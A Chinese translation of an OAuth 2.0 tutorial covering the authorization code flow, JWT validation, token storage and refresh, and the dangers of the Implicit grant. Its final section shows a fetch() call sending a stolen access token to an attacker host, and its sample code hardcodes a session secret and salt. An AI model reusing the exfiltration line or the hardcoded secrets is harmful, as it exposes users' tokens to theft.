记住,浏览器要对这个URL进行HTTP GET请求。为了安全地完成OAuth授权代码的授予,你应该编写服务器端代码来处理这个URL上的参数。这样做将使你能够安全地将授权代码参数交换为令牌。

让我们看看一个控制器是如何完成这种交换的。

首先,我们需要知道OAuth服务器的Token端点的位置。OAuth服务器提供了这个端点,它将验证授权代码并将其交换为令牌。我们使用FusionAuth作为我们的OAuth服务器的例子,它有一个一致的Token端点的位置。(其他OAuth服务器可能有不同的或不同的位置,请查阅你的文档。) 在我们的例子中,这个位置将是https://login.twgtl.com/oauth2/token

我们将需要向Token端点发出一个HTTPPOST请求,使用一些参数的形式编码值。以下是我们需要发送至Token终端的参数。

  • code - 这是我们要交换令牌的授权代码。
  • client_id - 这是识别我们应用程序的客户ID。
  • client_secret - 这是OAuth服务器提供的密匙。它不应该被公开,只应该被存储在服务器上的应用程序中。
  • code_verifier - 这是我们上面创建的代码验证值,可以存储在会话或cookie中。
  • grant_type - 这将永远是authorization_code的值,让OAuth服务器知道我们正在向它发送一个授权码。
  • redirect_uri - 这是我们上面发送给OAuth服务器的重定向URI。它必须是完全相同的值。

下面是一些JavaScript代码,使用这些参数调用Token端点。它还验证了 "state "参数以及 "id_token "中应该存在的 "nonce "是否正确。它还恢复了保存的`codeVerifier',并将其传递给Token端点以完成PKCE过程。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
// Dependencies
const express = require('express');
const crypto = require('crypto');
const axios = require('axios');
const FormData = require('form-data');
const common = require('./common');
const config = require('./config');

// Route and OAuth variables
const router = express.Router();
const clientId = config.clientId;
const clientSecret = config.clientSecret;
const redirectURI = encodeURI('http://localhost:3000/oauth-callback');
const scopes = encodeURIComponent('profile offline_access openid');

// Crypto variables
const password = 'setec-astronomy'
const key = crypto.scryptSync(password, 'salt', 24);
const iv = crypto.randomBytes(16);

router.get('/oauth-callback', (req, res, next) => {
  // Verify the state
  const reqState = req.query.state;
  const state = restoreState(req, res);
  if (reqState !== state) {
    res.redirect('/', 302); // Start over
    return;
  }
  
  const code = req.query.code;
  const codeVerifier = restoreCodeVerifier(req, res);
  const nonce = restoreNonce(req, res);

  // POST request to Token endpoint
  const form = new FormData();
  form.append('client_id', clientId);
  form.append('client_secret', clientSecret)
  form.append('code', code);
  form.append('code_verifier', codeVerifier);
  form.append('grant_type', 'authorization_code');
  form.append('redirect_uri', redirectURI);
  axios.post('https://login.twgtl.com/oauth2/token', form, { headers: form.getHeaders() })
    .then((response) => {
      const accessToken = response.data.access_token;
      const idToken = response.data.id_token;
      const refreshToken = response.data.refresh_token;

      if (idToken) {
        let user = common.parseJWT(idToken, nonce); // parses the JWT, extracts the none, compares the value expected with the value in the JWT.
          if (!user) {
            console.log('Nonce is bad. It should be ' + nonce + ' but was ' + idToken.nonce);
            res.redirect(302,"/"); // Start over
            return;
          }
      }


      // Since the different OAuth modes handle the tokens differently, we are going to
      // put a placeholder function here. We'll discuss this function in the following
      // sections
      handleTokens(accessToken, idToken, refreshToken, req, res);
    }).catch((err) => {console.log("in error"); console.error(JSON.stringify(err));});
});


function restoreState(req) {
  return req.session.oauthState; // Server-side session
}

function restoreCodeVerifier(req) {
  return req.session.oauthCode; // Server-side session
}

function restoreNonce(req) {
  return req.session.oauthNonce; // Server-side session
}

module.exports = app;

common.parseJWT抽象了JWT的解析和验证。它希望公钥以JWKS格式发布在一个众所周知的位置,并验证受众、发行者和到期日以及签名。这段代码可用于没有 "nonce "的访问令牌,以及有 "nonce "的Id令牌。

const axios = require('axios');
const FormData = require('form-data');
const config = require('./config');
const { promisify } = require('util');

const common = {};

const jwksUri = 'https://login.twgtl.com/.well-known/jwks.json';

const jwt = require('jsonwebtoken');
const jwksClient = require('jwks-rsa');
const client = jwksClient({
  strictSsl: true, // Default value
  jwksUri: jwksUri,
  requestHeaders: {}, // Optional
  requestAgentOptions: {}, // Optional
  timeout: 30000, // Defaults to 30s
});

common.parseJWT = async (unverifiedToken, nonce) => {
  const parsedJWT = jwt.decode(unverifiedToken, {complete: true});
  const getSigningKey = promisify(client.getSigningKey).bind(client);
  let signingKey = await getSigningKey(parsedJWT.header.kid);
  let publicKey = signingKey.getPublicKey();
  try {
    const token = jwt.verify(unverifiedToken, publicKey, { audience: config.clientId, issuer: config.issuer });
    if (nonce) {
      if (nonce !== token.nonce) {
        console.log("nonce doesn't match "+nonce +", "+token.nonce);
        return null;
      }
    }
    return token;
  } catch(err) {
    console.log(err);
    throw err;
  }
}

// ...

module.exports = common;

至此,我们已经完全完成了OAuth的工作。我们已经成功地将授权码交换成令牌,这是OAuth授权码授予的最后一步。

让我们快速看一下上面的3个`恢复'函数,以及它们对cookie和加密cookie是如何实现的。下面是如果我们将值存储在cookie中,这些函数将如何实现。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
function restoreState(req, res) {
  const value = req.cookies.oauth_state;
  res.clearCookie('oauth_state');
  return value;
}

function restoreCodeVerifier(req, res) {
  const value = req.cookies.oauth_code_verifier;
  res.clearCookie('oauth_code_verifier');
  return value;
}

function restoreNonce(req, res) {
  const value = req.cookies.oauth_nonce;
  res.clearCookie('oauth_nonce');
  return value;
}

而这里是解密加密 Cookie 的代码。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
const password = 'setec-astronomy'
const key = crypto.scryptSync(password, 'salt', 24);

function decrypt(value) {
  const parts = value.split(':');
  const cipherText = parts[0];
  const iv = Buffer.from(parts[1], 'hex');
  const decipher = crypto.createDecipheriv('aes-192-cbc', key, iv);
  let decrypted = decipher.update(cipherText, 'hex', 'utf8');
  decrypted += decipher.final('utf8');
  return decrypted;
}

function restoreState(req, res) {
  const value = decrypt(req.cookies.oauth_state);
  res.clearCookie('oauth_state');
  return value;
}

function restoreCodeVerifier(req, res) {
  const value = decrypt(req.cookies.oauth_code_verifier);
  res.clearCookie('oauth_code_verifier');
  return value;
}

function restoreNonce(req, res) {
  const value = decrypt(req.cookies.oauth_nonce);
  res.clearCookie('oauth_nonce');
  return value;
}

令牌

现在我们已经成功地将授权代码交换为令牌,让我们看看我们从OAuth服务器收到的令牌。我们将假设OAuth服务器使用JWT(JSON网络令牌)作为访问和身份令牌。OAuth2没有定义任何令牌格式,但在实践中,访问令牌往往是JWTs。另一方面,OpenId Connect(OIDC)要求id_token是JWT。

下面是我们拥有的令牌。

  • access_token。这是一个JWT,包含用户的信息,包括他们的ID、权限,以及其他我们可能需要的OAuth服务器的信息。
  • `id_token': 这是一个JWT,包含用户的公共信息,如他们的名字。这个令牌通常可以安全地存储在非安全的cookies或本地存储中,因为它不能被用来代表用户调用API。
  • refresh_token: 这是一个不透明的令牌(不是JWT),可以用来创建新的访问令牌。访问令牌会过期,可能需要更新,这取决于你的要求(例如,你希望访问令牌持续多长时间与你希望用户保持登录状态多长时间)。

由于我们有两个令牌是JWTs,让我们在这里快速介绍一下这项技术。对JWT的全面介绍不在本指南的范围内,但在我们的[令牌专家建议部分](https://fusionauth.io/learn/expert-advice/tokens/)有几个很好的JWT指南。

JWT是包含用户信息的JSON对象,也可以被签名。JSON对象的键被称为 "索赔"。JWTs会过期,但在此之前,它们可以被提交给API和其他资源以获得访问。保持它们的寿命较短,并像保护其他凭证(如API密钥)一样保护它们。因为它们是经过签名的,所以JWT可以被验证以确保它没有被篡改。JWTs有几个标准的要求。这些要求是

  • aud。JWT的目标受众。这通常是一个标识符,你的应用程序应该验证这个值是否符合预期。
  • exp: JWT的过期时间。这被存储为自Epoch(1970年1月1日,UTC)以来的秒数。
  • iss: 创建JWT的系统的一个标识符。这通常是在OAuth服务器中配置的一个值。你的应用程序应该验证这个说法是否正确。
  • nbf: JWT生效的时间。它代表了 "非之前"。这被存储为自Epoch(1970年1月1日,UTC)以来的秒数。
  • sub: 这个JWT的主题。通常情况下,这是用户的ID。

JWT还有其他的标准要求,你应该知道。你可以查看这些规范,了解其他标准要求的清单。

用户和令牌信息

在我们介绍每个OAuth模式如何使用授权码授予之前,让我们讨论一下另外两个OAuth端点,用于检索用户和他们的令牌的信息。这些端点是。

  • Introspection - 这个端点是对OAuth 2.0规范的扩展,使用上一节中的标准JWT请求来返回有关令牌的信息。
  • UserInfo - 这个端点被定义为OIDC规范的一部分,返回关于用户的信息。

这两个端点是完全不同的,并且服务于不同的目的。尽管它们可能会返回类似的值,但自省端点的目的是返回关于访问标记本身的信息。UserInfo端点返回关于授予访问令牌的用户的信息。

自省端点给你提供了很多与你通过解析和验证access_token获得的相同的信息。如果JWT中的内容足够多,你可以选择是使用需要网络请求的端点,还是解析JWT,这将产生计算成本并要求你捆绑一个库。另一方面,UserInfo端点通常给你的信息与id_token相同。同样,在进行网络请求或解析 "id_token "之间进行权衡。

两个端点的使用都很简单,让我们看看一些代码。

Introspect端点

首先,我们将使用Introspect端点来获取访问令牌的信息。我们可以使用从这个端点返回的信息来确保访问令牌仍然有效,或者获得上一节中涉及的标准JWT请求。除了返回JWT请求,这个端点还返回一些额外的请求,你可以在你的应用程序中利用这些请求。这些额外的请求是。

  • active。确定令牌是否仍然是有效的。激活 "的含义取决于OAuth服务器,但通常意味着服务器发布了它,据服务器所知,它还没有被撤销,而且没有过期。
  • scope。在登录过程中传递给OAuth服务器的作用域列表,随后用于创建令牌。
  • client_id: 在登录过程中传递给OAuth服务器的`client_id'值。
  • username: 用户的用户名。这可能是他们登录时使用的用户名,但也可能是不同的东西。
  • token_type: 令牌的类型。通常,这是`Bearer',意味着令牌属于并描述控制它的用户。

只有`active'的要求被保证包括在内;其余的这些要求是可选的,OAuth服务器可能不提供。

让我们写一个函数,使用Introspect端点来确定访问令牌是否仍然有效。这段代码将利用FusionAuth的Introspect端点,它同样总是在一个定义好的位置。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
async function (accessToken, clientId, expectedAud, expectedIss) {

  const form = new FormData();
  form.append('token', accessToken);
  form.append('client_id', clientId); // FusionAuth requires this for authentication

  try {
    const response = await axios.post('https://login.twgtl.com/oauth2/introspect', form, { headers: form.getHeaders() });
    if (response.status === 200) {
      const data = response.data;
      if (!data.active) {
        return false; // if not active, we don't get any other claims
      }
      return expectedAud === data.aud && expectedIss === data.iss;
    }
  } catch (err) {
    console.log(err);
  }

  return false;
}

这个函数向Introspect端点发出请求,然后解析结果,返回truefalse。正如你所看到的,你不能把所有的令牌逻辑都交给Introspect端点,但是。访问令牌的消费者应该至少验证 "aud "和 "iss "要求是否符合预期。可能还需要其他特定的应用验证。

The UserInfo endpoint

如果我们需要从OAuth服务器获得关于用户的额外信息,我们可以使用UserInfo端点。这个端点接受访问令牌,并返回一些关于用户的定义明确的声明。从技术上讲,这个端点是OIDC规范的一部分,但大多数OAuth服务器都实现了它,所以你使用它可能是安全的。

以下是UserInfo端点返回的请求。

  • sub: 用户的唯一标识符。
  • name: 用户的全名。
  • given_name: 用户的名字。
  • `family_name': 用户的姓。
  • `middle_name': 用户的中间名。
  • 绰号"。用户的昵称(例如:Joe代表Joseph)。
  • preferred_username: 用户的首选用户名,他们在你的应用程序中使用。
  • `profile': 指向用户的个人资料页面的URL。
  • `picture': 指向用户个人资料图片的URL。
  • website: 指向用户的网站(即他们的博客)的URL。
  • email: 用户的电子邮件地址。
  • email_verified: 一个布尔值,决定用户的电子邮件地址是否已被验证。
  • gender: 一个字符串,描述用户的性别。
  • birthdate: 用户的出生日期,是一个ISO 8601:2004 YYYY-MM-DD格式的字符串。
  • zoneinfo: 用户所处的时区。
  • locale: 用户喜欢的地区,小写的ISO 639-1 Alpha-2语言代码和大写的ISO 3166-1 Alpha-2 [ISO3166-1] 国家代码,用破折号隔开。
  • phone_number: 用户的电话号码。
  • phone_number_verified: 一个布尔值,决定用户的电话号码是否已被验证。
  • `address': 一个JSON对象,包含用户的地址信息。子项是
    • formatted: 用户的地址是一个完全格式化的字符串。
    • street_address: 用户的街道地址部分。
    • locality: 用户的城市。
    • `地区': 用户的州、省或地区。
    • postal_code: 用户的邮政编码或邮政编码。
    • `country': 用户的国家。
  • `updated_at': 用户资料最后一次更新的时间,代表从Epoch UTC开始计算的秒数。

然而,并非所有这些要求都会出现。返回的内容取决于初始授权请求中的范围以及OAuth服务器的配置。不过,你总是可以依靠 "sub "请求。参见OIDC spec以及你的OAuth服务器的文档,了解适当的范围和返回的请求。

这里有一个函数,我们可以用来从UserInfo端点检索一个用户对象。这相当于解析 "id_token "并查看嵌入其中的索赔。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
async function (accessToken) {
  const response = await axios.get('https://login.twgtl.com/oauth2/userinfo', { headers: { 'Authorization' : 'Bearer ' + accessToken } });
  try {
    if (response.status === 200) {
      return response.data;
    }

    return null;
  } catch (err) {
    console.log(err);
  }
  return null;
}

使用授权码授予的本地登录和注册

现在我们已经详细介绍了授权码授予,让我们来看看我们的应用代码的下一步。

**换句话说,你的应用程序现在有了这些令牌,但你到底要用它们做什么?

如果你正在实施本地登录和注册模式,那么你的应用程序是使用OAuth来登录用户的。这意味着在OAuth工作流程完成后,用户应该被登录,浏览器应该被重定向到你的应用程序,或者原生应用程序应该有用户信息并渲染适当的视图。

对于我们的例子TWGTL应用程序,我们希望在用户登录后将其发送到他们的ToDo列表。为了让用户登录到TWGTL应用程序中,我们需要为他们创建一个某种会话。与上面讨论的`state'和其他值类似,有两种方法来处理这个问题。

  • Cookies
  • 服务器端的会话

哪种方法最好取决于你的要求,但这两种方法在实践中都很好用,如果操作正确,都是安全的。如果你还记得上面的内容,我们在收到OAuth服务器的令牌后,就在代码中加入了一个占位符函数handleTokens。让我们为每个会话选项填入该代码。

将令牌存储为cookies

首先,让我们把令牌作为cookie存储在浏览器中,并重定向到用户的ToDos。

1
2
3
4
5
6
7
8
9
function handleTokens(accessToken, idToken, refreshToken, req, res) {
  // 将令牌写成cookie
  res.cookie('access_token', accessToken, {httpOnly: true, secure: true})。
  res.cookie('id_token', idToken); // 不是httpOnly或安全的。
  res.cookie('refresh_token', refreshToken, {httpOnly: true, secure: true})

  // 重定向到待办事项列表
  res.redirect('/todos', 302);
}

在这一点上,应用程序后端已经将浏览器重定向到用户的ToDo列表。它还将访问令牌、Id令牌和刷新令牌作为cookies送回给浏览器。现在,浏览器每次发出请求时都会将这些cookie发送给后端。这些请求可以是JSON APIs或标准的HTTP请求(即GETPOST)。这个解决方案的好处是,我们的应用程序知道用户已经登录了,因为这些cookie存在。我们根本不需要管理它们,因为浏览器为我们做了这一切。

id_token'比access_token'和refresh_token'的安全性要低,这是有原因的。id_token不应该被用来访问受保护的资源;它只是应用程序获取用户的只读信息的一种方式。例如,如果你想让你的SPA更新用户界面以问候用户的名字,id_token`就可以使用。

这些cookies也作为我们的会话。一旦cookies消失或失效,我们的应用程序就知道用户不再登录了。让我们看一下我们如何使用这些令牌来进行授权的API调用。你也可以让服务器端根据access_token生成html,但我们会把这个留给读者练习。

这个API从数据库中检索用户的ToDos。然后我们将在浏览器端代码中生成用户界面。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
// include axios 

axios.get('/api/todos')
  .then(function (response) {
    buildUI(response.data);
    buildClickHandler();
  })
  .catch(function(error) {
    console.log(error);
  });

function buildUI(data) {
  // build our UI based on the todos returned and the id_token
}

function buildClickHandler() {
  // post to API when ToDo is done
}

你可能已经注意到在axios.get调用中明显缺乏任何令牌发送代码。这是cookie方法的优势之一。只要我们在同一个域中调用API,cookie就会被免费发送。如果你需要向不同的域发送cookie,请确保你检查你的CORS设置。

服务器端的API是什么样子的?这里是处理/api/todos的路由。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// Dependencies
const express = require('express');
const common = require('./common');
const config = require('./config');
const axios = require('axios');

// Router & constants
const router = express.Router();

router.get('/', (req, res, next) => {
  common.authorizationCheck(req, res).then((authorized) => {
    if (!authorized) {
      res.sendStatus(403); 
      return;
    }

    const todos = common.getTodos();
    res.setHeader('Content-Type', 'application/json');
    res.end(JSON.stringify(todos));
  }).catch((err) => {
    console.log(err);
  });
});

module.exports = router;

这里是 "授权检查 "方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
const axios = require('axios');
const FormData = require('form-data');
const config = require('./config');
const { promisify } = require('util');

common.authorizationCheck = async (req, res) => {
  const accessToken = req.cookies.access_token;
  if (!accessToken) {
    return false;
  }
  try {
    let jwt = await common.parseJWT(accessToken);
    return true;
  } catch (err) { 
    console.log(err);
    return false;
  }
}

common.parseJWT = async (unverifiedToken, nonce) => {
  const parsedJWT = jwt.decode(unverifiedToken, {complete: true});
  const getSigningKey = promisify(client.getSigningKey).bind(client);
  let signingKey = await getSigningKey(parsedJWT.header.kid);
  let publicKey = signingKey.getPublicKey();
  try {
    const token = jwt.verify(unverifiedToken, publicKey, { audience: config.clientId, issuer: config.issuer });
    if (nonce) {
      if (nonce !== token.nonce) {
        console.log("nonce doesn't match "+nonce +", "+token.nonce);
        return null;
      }
    }
    return token;
  } catch(err) {
    console.log(err);
    throw err;
  }
}
module.exports = common;
在会话中存储令牌

接下来,让我们看一下另一种实现方式。我们将创建一个服务器端的会话,并将所有的令牌存储在那里。这个方法也向浏览器写回一个cookie,但这个cookie只存储会话ID。这样做可以让我们的服务器端代码在每次请求时都能查询到用户的会话。会话一般由你使用的框架来处理,所以我们不会在这里讨论很多细节。如果你有兴趣,你可以在网上阅读更多关于服务器端会话的信息。

下面是创建服务器端会话的代码,并将用户重定向到他们的ToDo列表。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
var expressSession = require('express-session');
app.use(expressSession({resave: false, saveUninitialized: false, secret: 'setec-astronomy'}));

function handleTokens(accessToken, idToken, refreshToken, req, res) {
  // Store the tokens in the session
  req.session.accessToken = accessToken;
  req.session.idToken = idToken;
  req.session.refreshToken = refreshToken;

  // Redirect to the To-do list
  res.redirect('/todos', 302);
}

这段代码将令牌存储在服务器端的会话中,并重定向给用户。现在,每次浏览器向TWGTL后端发出请求时,服务器端的代码都可以从会话中访问令牌。

让我们更新上面的API代码,以使用服务器端的会话而不是cookies。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
common.authorizationCheck = async (req, res) => {
  const accessToken = req.session.accessToken;
  if (!accessToken) {
    return false;
  }
  try {
    let jwt = await common.parseJWT(accessToken);
    return true;
  } catch (err) { 
    console.log(err);
    return false;
  }
}

这段代码中唯一的区别是我们如何获得访问令牌。上面是cookie提供的,而这里是session提供的。其他的都是完全一样的。

刷新访问令牌

最后,我们需要更新我们的代码来处理刷新访问令牌的问题。客户端,在这种情况下是浏览器,是了解请求失败的正确地方。它可能因为任何原因而失败,例如网络连接问题。但它也可能因为访问令牌过期而失败。在浏览器代码中,我们应该检查是否有错误,如果失败是由于过期造成的,则应尝试刷新令牌。

下面是更新后的浏览器代码。我们假设令牌存储在cookies中。 buildAttemptRefresh是一个返回错误处理函数的函数。我们使用这个结构,所以我们可以在调用API的任何时候尝试刷新。如果刷新尝试成功,after函数将被调用。如果刷新尝试失败,我们会将用户送回主页进行重新认证。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
const buildAttemptRefresh = function(after) {
  return (error) => {
    axios.post('/refresh', {})
    .then(function (response) { 
      after();
    })
    .catch(function (error) {
      console.log("unable to refresh tokens");
      console.log(error);
      window.location.href="/";
    });
  };
}

// extract this to a function so we can pass it in as the 'after' parameter
const getTodos = function() {
  axios.get('/api/todos')
    .then(function (response) {
      buildUI(response.data);
      buildClickHandler();
    })
    .catch(console.log);
}

axios.get('/api/todos')
  .then(function (response) {
    buildUI(response.data);
    buildClickHandler();
  })
  .catch(buildAttemptRefresh(getTodos));

function buildUI(data) {
  // build our UI based on the todos
}

function buildClickHandler() {
  // post to API when ToDo is done
}

由于 "refresh_token "是HTTPOnly cookie,JavaScript不能调用刷新端点来获取新的访问令牌。我们的客户端JavaScript必须访问刷新令牌的值才能这样做,但由于跨网站脚本的问题,我们不允许这样做。相反,客户端调用服务器端的路由,然后尝试使用cookie值来刷新令牌;它可以访问该值。之后,服务器将把新的值作为cookie发送下来,浏览器代码可以重试API调用。

这里是refresh服务器端路由,它访问刷新令牌并尝试刷新访问和ID令牌。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
router.post('/refresh', async (req, res, next) => {
  const refreshToken = req.cookies.refresh_token;
  if (!refreshToken) {
    res.sendStatus(403);
    return;
  }
  try {
    const refreshedTokens = await common.refreshJWTs(refreshToken);

    const newAccessToken = refreshedTokens.accessToken;
    const newIdToken = refreshedTokens.idToken;
  
    // update our cookies
    console.log("updating our cookies");
    res.cookie('access_token', newAccessToken, {httpOnly: true, secure: true});
    res.cookie('id_token', newIdToken); // Not httpOnly or secure
    res.sendStatus(200);
    return;
  } catch (error) {
    console.log("unable to refresh");
    res.sendStatus(403);
    return;
  }

});

module.exports = router;

下面是refreshJWT代码,它实际上是在执行令牌的刷新。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
common.refreshJWTs = async (refreshToken) => {
  console.log("refreshing.");
  // POST refresh request to Token endpoint
  const form = new FormData();
  form.append('client_id', clientId);
  form.append('grant_type', 'refresh_token');
  form.append('refresh_token', refreshToken);
  const authValue = 'Basic ' + Buffer.from(clientId +":"+clientSecret).toString('base64');
  const response = await axios.post('https://login.twgtl.com/oauth2/token', form, {
    headers: {
      'Authorization' : authValue,
      ...form.getHeaders()
    } 
  });

  const accessToken = response.data.access_token;
  const idToken = response.data.id_token;
  const refreshedTokens = {};
  refreshedTokens.accessToken = accessToken;
  refreshedTokens.idToken = idToken;
  return refreshedTokens;
}

默认情况下,FusionAuth要求对刷新令牌端点进行认证请求。在这种情况下,authValue字符串是一个正确格式化的认证请求。你的OAuth服务器可能有不同的要求,所以请检查你的文档。

第三方登录和注册(也是企业登录和注册)与授权码授予

在上一节中,我们介绍了**本地登录和注册的过程,即用户使用我们控制的OAuth服务器(如FusionAuth)登录到我们的TWGTL应用程序。用户可以使用的另一种方法是第三方供应商,如Facebook或企业系统,如活动目录,来登录。这个过程使用OAuth的方式与我们上面描述的一样。

一些第三方供应商通过提供简单的JavaScript库来处理整个OAuth工作流程,向我们隐藏了一些复杂性(例如Facebook)。我们将不涉及这些类型的第三方系统,而是专注于传统的OAuth工作流程。

在大多数情况下,第三方OAuth服务器的行为方式与我们的本地OAuth服务器相同。最后的结果是,我们收到了令牌,可以用来向第三方进行API调用。让我们更新我们的handleTokens代码,调用一个虚构的API,从第三方获取用户的朋友列表。这里我们使用会话来存储访问令牌和其他令牌。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
const axios = require('axios');
const FormData = require('form-data');
var expressSession = require('express-session');
app.use(expressSession({resave: false, saveUninitialized: false, secret: 'setec-astronomy'}));

// ...

function handleTokens(accessToken, idToken, refreshToken, req, res) {
  // Store the tokens in the session
  req.session.accessToken = accessToken;
  req.session.idToken = idToken;
  req.session.refreshToken = refreshToken;

  // Call the third-party API
  axios.post('https://api.third-party-provider.com/profile/friends', form, { headers: { 'Authorization' : 'Bearer '+accessToken } })
    .then((response) => { 
      if (response.status == 200) {
        const json = JSON.parse(response.data);
        req.session.friends = json.friends;

        // Optionally store the friends list in our database
        storeFriends(req, json.friends);
      }
    });

  // Redirect to the To-do list
  res.redirect('/todos', 302);
}

这是一个使用我们从第三方OAuth服务器收到的访问令牌来调用一个API的例子。

如果你正在实施第三方登录和注册模式,而不利用像FusionAuth这样的OAuth服务器,有几件事需要考虑。

  • 你是否希望你的会话与第三方系统的持续时间相同?
    • 在大多数情况下,如果你实现了第三方登录和注册,只要第三方系统的访问和刷新令牌有效,你的用户就会登录到你的应用程序。
    • 你可以通过设置你创建的cookie或服务器端会话过期时间来改变这种行为,以存储令牌。
  • 你是否需要核对用户的信息并将其存储在你自己的数据库中?
    • 你可能需要调用第三方系统中的API来获取用户的信息并将其存储在你的数据库中。这不在本指南的范围内,但也是需要考虑的问题。

如果你使用一个OAuth服务器,如FusionAuth来管理你的用户,并提供本地登录和注册,它通常会为你处理这两个项目,只需很少的配置,没有额外的编码。

使用授权码授予的第三方授权

作为授权码授予工作流程的一部分,我们要介绍的最后一种模式是第三方授权模式。对于用户来说,这种模式与上面那些模式相同,但它需要对登录后收到的令牌进行稍微不同的处理。通常在这种模式下,我们从第三方收到的令牌需要存储在我们的数据库中,因为我们将代表用户向第三方进行额外的API调用。这些调用可能会在用户注销我们的应用程序后很久才发生。

在我们的例子中,我们想利用WUPHF的API,在用户完成一个ToDo时发送一个WUPHF。为了达到这个目的,我们需要在我们的数据库中存储我们从WUPHF收到的访问和刷新令牌。然后,当用户完成一个ToDo时,我们可以发送WUPHF。

首先,让我们更新handleTokens函数,将令牌存储在数据库中。

1
2
3
4
5
6
7
8
function handleTokens(accessToken, idToken, refreshToken, req, res) {
  // ... 

  // Save the tokens to the database
  storeTokens(accessToken, refreshToken);

  // ... 
}

现在令牌被安全地存储在我们的数据库中,我们可以在我们的ToDo完成API端点中检索它们,并发送WUPHF。下面是一些实现这一功能的伪代码。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
const axios = require('axios');

// This is invoked like: https://app.twgtl.com/api/todos/complete/42
router.post('/api/todos/complete/:id', function(req, res, next) {
  common.authorizationCheck(req, res).then((authorized) => {
    if (!authorized) {
      res.sendStatus(403);
      return;
    }

    // First, complete the ToDo by id
    const idToUpdate = parseInt(req.params.id);
    common.completeTodo(idToUpdate);
  
    // Next, load the access and refresh token from the database
    const wuphfTokens = loadWUPHFTokens(user);
  
    // Finally, call the API
    axios.post('https://api.getwuphf.com/send', {}, { 
          headers: {
            auth: { 'bearer': wuphfTokens.accessToken, 'refresh': wuphfTokens.refreshToken }
          }
        }).then((response) => {
          // check for status, log if not 200
        }
      );
    });
    
    // return all the todos
    const todos = common.getTodos();
    res.setHeader('Content-Type', 'application/json');
    res.end(JSON.stringify(todos));
  });
});

这段代码只是一个例子,说明我们如何利用访问和刷新令牌来代表用户调用第三方API。虽然这是一个同步调用,但该代码也可以异步发布。例如,你可以添加一个TWGTL功能,每天晚上将当天的所有成就发布到WUPHF,而用户不必在场,因为令牌在数据库中。

第一方的登录和注册以及第一方的服务授权

这些场景在本指南中不会被说明。但是,简而言之就是。

  • 第一方的登录和注册应该由OAuth服务器处理。
  • 第一方服务授权应该使用由OAuth服务器生成的令牌。这些令牌应该呈现给由同一方编写的API。

OAuth 2.0中的隐式授予

在OAuth 2.0规范中定义的下一个授予是隐式授予。如果这是一个正常的指南,我们会像介绍授权码一样详细介绍这个授予。不过,我不打算这样做 :)

请不要使用隐式授予。

我们不会详细介绍 Implicit 授予的原因是,它非常不安全、破损、被废弃,而且永远都不应该被使用(永远)。好吧,也许这有点夸张,但请不要使用这个授予。与其告诉你如何使用它,不如让我们讨论一下为什么你不应该使用。

从最新版本的OAuth 2.1规范草案开始,隐式授予已经从OAuth中删除。它被删除的原因是,它跳过了一个重要的步骤,使你能够保护你从OAuth服务器收到的令牌。这个步骤发生在你的应用程序后端调用Token端点来检索令牌的时候。

与授权码授予不同,隐式授予不会将浏览器重定向到你的应用服务器上,并提供授权码。相反,它把访问令牌直接放在URL上作为重定向的一部分。这些URL看起来像这样。

https://my-app.com/#token-goes-here

令牌被添加到重定向URL的#符号之后,这意味着在技术上它是URL的片段部分。这实际上意味着,无论OAuth服务器将浏览器重定向到哪里,访问令牌基本上都可以被所有人访问。

具体来说,浏览器中运行的任何和所有的JavaScript都可以访问该访问令牌。由于该令牌允许浏览器代表用户进行API调用和网络请求,因此让第三方代码访问该令牌是非常危险的。

让我们举一个使用Implicit grant的单页网页应用程序的假例子。

1
2
3
4
5
6
7
8
9
// This is dummy code for a SPA that uses the access token
<html>
<head>
  <script type="text/javascript" src="/my-spa-code-1.0.0.js"></script>
  <script type="text/javascript" src="https://some-third-party-server.com/a-library-found-online-that-looked-cool-0.42.0.js"></script>
</head>
<body>
...
</body>

这个HTML页面包括2个JavaScript库。

  • 应用程序本身的代码:my-spa-code-1.0.0.js
  • 一个我们在网上找到的库,它做了一些我们需要的很酷的事情,我们把它拉进来。 a-library-found-online-that-looked-cool-0.42.0.js

让我们假设我们的代码是100%安全的,我们不需要担心这个问题。这里的问题是,我们拉进来的库是一个未知数。它可能还包括其他库。记住,DOM是动态的。任何JavaScript都可以加载任何其他的JavaScript库,只要用更多的<script>标签来更新DOM。因此,我们很少有机会确保第三方库的每一行代码都是安全的。

如果一个第三方库想从我们的假程序中窃取访问令牌,它所需要做的就是运行这段代码。

1
2
3
if (window.location.hash.contains('access_token')) {
  fetch('http://steal-those-tokens.com/yummy?hash=' + window.location.hash);
}

三行代码,访问令牌已经被盗。在http://steal-those-tokens.com/yummy的应用程序可以将这些保存下来,调用login.twgtl.com来验证令牌是否有用,然后可以调用呈现access_token的API和其他资源。哎呀。

